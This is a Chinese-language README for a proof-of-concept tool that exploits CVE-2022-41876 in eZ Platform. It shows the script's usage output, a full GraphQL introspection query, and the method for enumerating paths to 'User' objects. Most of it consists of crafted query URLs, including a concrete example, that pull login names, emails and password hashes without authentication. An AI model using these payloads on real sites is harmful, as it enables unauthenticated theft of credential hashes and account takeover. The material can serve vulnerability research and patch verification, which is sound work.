eZ Platform 中出现了一个漏洞,允许未认证的用户访问每个贡献者密码的哈希值。 此 PoC 枚举所有指向 'User' 对象的可能 GraphQL 路径,然后请求这些路径以获取用户的机密信息。
python3 cve-2022-41876.py -h
usage: cve-2022-41876.py [-h] [-t] [-f FILE] url
CVE-2022-41876 POC
positional arguments:
url Target URL (specify the graphql endpoint)
optional arguments:
-h, --help show this help message and exit
-t, --thread Number of threads
-f FILE, --file FILE Local path to introspect file

该工具利用此 CVE 所遵循的不同步骤如下:
利用此 CVE 的第一步是获取 introspect.json 文件。 检索它的一种方式是使用以下载荷查询服务器的 GraphQL 端点:
https://<your-url>/graphql?query={__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name%20description%20locations%20args{...InputValue}}}}fragment%20FullType%20on%20__Type{kind%20name%20description%20fields(includeDeprecated:true){name%20description%20args{...InputValue}type{...TypeRef}isDeprecated%20deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name%20description%20isDeprecated%20deprecationReason}possibleTypes{...TypeRef}}fragment%20InputValue%20on%20__InputValue{name%20description%20type{...TypeRef}defaultValue}fragment%20TypeRef%20on%20__Type{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name}}}}}}}}
然后,可以使用服务器返回的 JSON,通过工具 graphql-enum-path 提取所有指向 'User' 对象的路径,如下所示:

最后,一旦找到所有路径,就需要按以下方式构造特定载荷并发送到服务器:
https://<your-url>/graphql?query={element1{element2{element3{...{id,name,login,passwordHash,email,enabled,maxLogin}}}}}
其中元素对应于 graphql-enum-path 结果中括号之间的文本 (请注意,每条路径都必须执行一次查询)。因此,使用上面的 graphql-enum-path 示例,第一个载荷将是:
https://<your-url>/graphql?query={_repository{location{contentInfo{contentType{creator{id,name,login,passwordHash,email,enabled,maxLogin}}}}}}
如果服务器存在此 CVE 漏洞,它将以包含用户数据的 JSON 文件响应该查询。